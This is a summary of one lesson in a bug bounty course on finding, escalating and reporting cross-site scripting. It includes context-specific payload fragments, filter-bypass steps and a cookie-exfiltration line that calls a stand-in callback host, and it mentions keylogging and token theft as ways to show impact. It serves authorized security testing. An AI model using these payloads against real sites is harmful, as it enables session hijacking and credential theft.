Day 7: XSS Bug Bounty Hunting — Find, Exploit & Report Cross-Site Scripting Bugs That Pay (2026)

This article is Day 7 of a 60-day bug bounty hunting course focused on finding and exploiting cross-site scripting (XSS) vulnerabilities. It teaches practitioners how to systematically hunt XSS across different vulnerability types and injection contexts, escalate findings to demonstrate real impact beyond proof-of-concept alerts, and write reports that maximize payouts. XSS payouts range from $0 for self-XSS to $15,000+ for stored XSS on admin panels, with the difference determined primarily by impact demonstration rather than technical difficulty.

• XSS payout structure reflects impact, not complexityStored XSS pays $500–$15,000, reflected XSS pays $100–$2,000, DOM XSS pays $200–$3,000, and self-XSS pays $0. The article emphasizes that a beginner demonstrating account takeover through session cookie theft earns more than an experienced hunter who only shows an alert box. The same vulnerability reported with specific impact scenarios versus generic proof-of-concept can earn three to ten times more.
• Four-step Burp Repeater workflow confirms XSS reliablyThe standard professional workflow involves: (1) browsing the target through Burp Proxy and sending interesting requests to Repeater, (2) injecting a canary string like 'xsscanary12345' to confirm reflection and identify the HTML context, (3) testing an img onerror payload to confirm unencoded reflection, and (4) escalating to cookie exfiltration using Burp Collaborator. This method systematically moves from confirmation to impact demonstration.
• Injection context determines payload selectionThe article identifies four distinct contexts requiring different payloads: HTML tag context uses event handlers like ``; HTML attribute context breaks out with quotes then adds event handlers; JavaScript string context uses `-alert(1)-" or `;alert(1)//`; and href/src attributes use the `javascript:` URI scheme. Testing a canary string first reveals the context before attempting payloads, preventing wasted attempts with wrong payload formats.
• Filter bypass progression from simple to complexThe article provides a tested progression: start with event handlers like `` when script tags are blocked; progress to case variation like ``; then try HTML encoding if keywords are filtered; finally test DOM XSS via URL hash which never reaches the server. This approach moves from simplest to complex, testing each in Burp Repeater before escalating efforts.
• DOM XSS in SPAs bypasses all server-side defensesDOM XSS occurs entirely in the browser when payloads sit in URL fragments (hash) or are processed by client-side JavaScript sinks like `innerHTML`, `eval()`, or `location.href`. Payloads in the URL hash never reach the server, completely bypassing WAFs and server-side sanitization. The article demonstrates hunting DOM XSS by searching DevTools Sources for dangerous sinks and testing hash-based payloads against them.
• Two-account test distinguishes stored from self-XSSThe article defines a critical verification: inject payload as Account A, log out, open an incognito browser, log in as Account B, and visit the page displaying Account A's content. If the payload executes in Account B's browser, it is stored XSS affecting other users and justifies reporting. If it executes only in Account A's browser, it is self-XSS with zero impact to others, earning $0 regardless of technical merit.
• Impact escalation demonstrates real-world attack chainsRather than stopping at alert(1), the article details specific escalation techniques: cookie exfiltration with `fetch('https://COLLAB.com/?c='+btoa(document.cookie))` demonstrates session hijacking; localStorage exfiltration captures JWT tokens or API keys; keyloggers prove credential theft potential; phishing redirects show user deception capability. Using Burp Collaborator or free interactsh as callback servers proves exfiltration without handling real user data.
• Professional report structure multiplies payout valueEffective reports include specific title format combining vulnerability type and actual impact, numbered reproducible steps with clear attacker/victim roles using separate browser sessions, specific impact scenarios rather than generic severity language, CVSS 3.1 score and CWE reference to signal professional quality, and actionable remediation steps. The article demonstrates this through a template showing how the same stored XSS vulnerability earns dramatically more when reported with full account takeover chain and session replay proof.

Bottom line: XSS hunting success depends on systematic reconnaissance of weak-filtering targets (dev/staging subdomains), methodical testing using Burp Repeater's four-step confirmation workflow, and escalating findings from alerts to demonstrable impact like session theft. The payout difference between a beginner finding the same vulnerability as an expert is determined by report quality and impact demonstration, not technical discovery complexity.